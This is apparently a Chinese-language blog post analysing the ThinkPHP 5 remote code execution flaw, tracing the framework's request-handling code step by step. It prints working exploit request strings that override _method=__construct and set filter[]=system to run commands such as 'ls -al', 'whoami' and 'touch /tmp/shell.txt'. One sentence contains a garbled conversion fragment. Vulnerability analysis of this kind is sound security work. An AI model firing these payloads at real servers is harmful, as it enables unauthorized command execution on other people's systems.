tp5远程代码执行漏洞分析
漏洞分析
前言
最近人比较懒,公众号没怎么更新了,代码也不怎么审计了,我大概成了一个废柴了。 出来了这个新的漏洞了,想着可以跟着大神们的脚步来分析一下,回顾一下代码审计的相关的套路。 此洞的利用链很完美。 从开始分析一下。 有更好的意见和建议的话,可以讨论一下。
漏洞利用条件
dubug开启
访问:/public/index.php?s=asasa _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls -al
漏洞分析
从tp5的入口文件开始分析:
/public/index.php
代码语言:javascript复制require __DIR__ . '/../thinkphp/start.php'
包含了start.php,跟进一下
thinkphp/start.php
代码语言:javascript复制// 1. 加载基础文件
require __DIR__ . '/base.php';
// 2. 执行应用
App::run()->send();
主要代码只有两行,注释的很清晰,主要跟进App类的run()函数: 这是这个框架加载应用的核心类,下面只贴出run()函数漏洞的关键代码;
thinkphp/think/App.php
代码语言:javascript复制 public static function run(Request $request = null)
{
$request = is_null($request) ? Request::instance() : $request;
......
$request->filter($config['default_filter']);
......
if (self::$debug) {
Log::record('[ ROUTE ] ' . var_export($dispatch, true), 'info');
Log::record('[ HEADER ] ' . var_export($request->header(), true), 'info');
Log::record('[ PARAM ] ' . var_export($request->param(), true), 'info');
}
函数的参数是Requests对象,Requests对象用于处理函数的请求与响应。 首先跟进一下这个requests对象;存在问题的代码如下:
thinkphp/think/Requests.php
代码语言:javascript复制class Request
{
protected function __construct($options = [])
{
foreach ($options as $name => $item) {
if (property_exists($this, $name)) {
$this->$name = $item;
}
}
if (is_null($this->filter)) {
$this->filter = Config::get('default_filter');
}
// 保存 php://input
$this->input = file_get_contents('php://input');
}
public function method($method = false)
{
if (true === $method) {
// 获取原始请求类型
return $this->server('REQUEST_METHOD') ?: 'GET';
} elseif (!$this->method) {
if (isset($_POST[Config::get('var_method')])) {
$this->method = strtoupper($_POST[Config::get('var_method')]);
$this->{$this->method}($_POST);
} elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) {
$this->method = strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']);
} else {
$this->method = $this->server('REQUEST_METHOD') ?: 'GET';
}
}
return $this->method;
}
分析 构造函数
其中__construct
函数是类的构造函数
将类的属性存在一个数组里面options[]
通过遍历数组来对类的属性进行初始化,而且在初始化的过程中,还对filter的值进行了判断,如果为空,则初始化为Config::get('default_filter')
,其中Config::get()
函数是用来加载默认的配置变量的,而默认的配置变量都在application/config.php
中,跟进一下看看:
application/config.php
代码语言:javascript复制 // 默认全局过滤方法 用逗号分隔多个
'default_filter' => '',
// 表单请求类型伪装变量
'var_method' => '_method',
而这个default_filter
就是用来做全局过滤的,同时var_method
是表单请求类型伪装变量,也是同样的获取方法,接下来会用到的。
分析 method函数
函数的主要功能就是获取当前的请求的方法,有可能是post,get,还有put 关键的代码就在于
代码语言:javascript复制if (isset($_POST[Config::get('var_method')])) {
$this->method = strtoupper($_POST[Config::get('var_method')]);
$this->{$this->method}($_POST);
通过这段代码我们可以知道,如果我们通过POST的方式提交了一个参数是Config::get('var_method')
我们就可以调用任何函数,而且函数的参数是以POST的方式提交的。所以说这段代码是非常危险的。
其实如果不考虑其他的代码,类似这样提交参数
_method=__construct&filter[]=system&s=whoami
通过以上代码可以重新调用构造函数,这样就会通过变量覆盖将fileter覆盖为system
实际上,这也是前几个版本5.0.10远程代码执行的构造原理,至于s是什么,等到第二章再解释。但是大家可以注意到,thinkphp/think/App.php
中有一句$request->filter($config['default_filter']);
这是新版本中的过滤机制,可以防止filter被覆盖之后无法调用。这样还是被过滤之后,还有更为巧妙的过滤方法。
分析app类
继续看上面App
类第三部分代码
if (self::$debug) {
Log::record('[ ROUTE ] ' . var_export($dispatch, true), 'info');
Log::record('[ HEADER ] ' . var_export($request->header(), true), 'info');
Log::record('[ PARAM ] ' . var_export($request->param(), true), 'info');
}
漏洞代码存在于此,所以条件是需要进入这个条件语句,即self::$debug=true
,所以整个漏洞的利用是需要开启dubug的,开启之后看一下$request->param(), true
此时 调用了param()
函数,跟进一下:
分析param()函数
代码如下:
代码语言:javascript复制 public function param($name = '', $default = null, $filter = '')
{
if (empty($this->mergeParam)) {
$method = $this->method(true);
// 自动获取请求变量
switch ($method) {
case 'POST':
$vars = $this->post(false);
break;
case 'PUT':
case 'DELETE':
case 'PATCH':
$vars = $this->put(false);
break;
default:
$vars = [];
}
// 当前请求参数和URL地址中的参数合并
$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));
$this->mergeParam = true;
}
if (true === $name) {
// 获取包含文件上传信息的数组
$file = $this->file();
$data = is_array($file) ? array_merge($this->param, $file) : $this->param;
return $this->input($data, '', $default, $filter);
}
return $this->input($this->param, $name, $default, $filter);
}
从代码中param()
函数调用了$method = $this->method(true);
再回过头看看
if (true === $method) {
// 获取原始请求类型
return $this->server('REQUEST_METHOD')?: 'GET';
调用了$this->server('REQUEST_METHOD')
跟进一下:
分析server()函数
代码如下
代码语言:javascript复制 public function server($name = '', $default = null, $filter = '')
{
if (empty($this->server)) {
$this->server = $_SERVER;
}
if (is_array($name)) {
return $this->server = array_merge($this->server, $name);
}
return $this->input($this->server, false === $name ? false : strtoupper($name), $default, $filter);
}
根据函数调用的方式:$name=$this->server('REQUEST_METHOD')
,最终调用了input函数,继续跟进
$this->server=[]
分析input()函数
这里只粘贴出关键代码:
$this->server=[]
->
public function input($data = [], $name = '', $default = null, $filter = '')
{
....
$filter = $this->getFilter($filter, $default);
....
if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);
reset($data);
} else {
$this->filterValue($data, $name, $filter);
}
}
这里的关键代码就是调用了getFilter()函数,其中data¨C23C¨C24C¨G10G这里的关键代码就是调用了getFilter()函数,其中filter = '' 继续跟进
分析getFilter()函数
代码如下:
代码语言:javascript复制 protected function getFilter($filter, $default)
{
if (is_null($filter)) {
$filter = [];
} else {
$filter = $filter ?: $this->filter;
if (is_string($filter) && false === strpos($filter, '/')) {
$filter = explode(',', $filter);
} else {
$filter = (array) $filter;
}
}
$filter[] = $default;
return $filter;
}
最开始filter=′′执行之后会进入else的语句所以会被赋值this->filter 最终 filter[]=default;
回到分析input的代码中去,可以发现,$this->server=[]
赋值给了$data = []
最后进了filterValue
函数 跟进一下
分析filterValue
代码如下:
value = $this->server
key = REQUEST_METHOD
$filters=''
private function filterValue(&$value, $key, $filters)
{
$default = array_pop($filters);
foreach ($filters as $filter) {
if (is_callable($filter)) {
// 调用函数或者方法过滤
$value = call_user_func($filter, $value);
} elseif (is_scalar($value)) {
if (false !== strpos($filter, '/')) {
// 正则过滤
if (!preg_match($filter, $value)) {
// 匹配不成功返回默认值
$value = $default;
break;
}
} elseif (!empty($filter)) {
// filter函数不存在时, 则使用filter_var进行过滤
// filter为非整形值时, 调用filter_id取得过滤id
$value = filter_var($value, is_int($filter) ? $filter : filter_id($filter));
if (false === $value) {
$value = $default;
break;
}
}
}
}
return $this->filterExp($value);
}
从此可以看出,调用了call_user_func()进行过滤,
而调用的函数可控,filter(value),我们在分析 method函数的函数的时候说过tp5.0.10远程代码执行的时候,函数调用的缺陷,虽然可以将filter()初始化,避免了过滤函数的正常调用,但是被污染的参数还是传了进来,但是methed()的构造函数可以被重新初始化的事实没有改变,所有从5.0.10 到5.0.23 中间版本的根本性问题是没有发生变化的,我们来重新分析一下
调用的方式:
_method=__construct&filter[]=system&server[REQUEST_METHOD]=touch /tmp/shell.txt
漏洞复现
后记
以上就是漏洞利用的第一个阶段,构造了漏洞,还有一个重要的问题就是回显的问题,其实现在已经能成功执行代码了,回显的问题明天再说。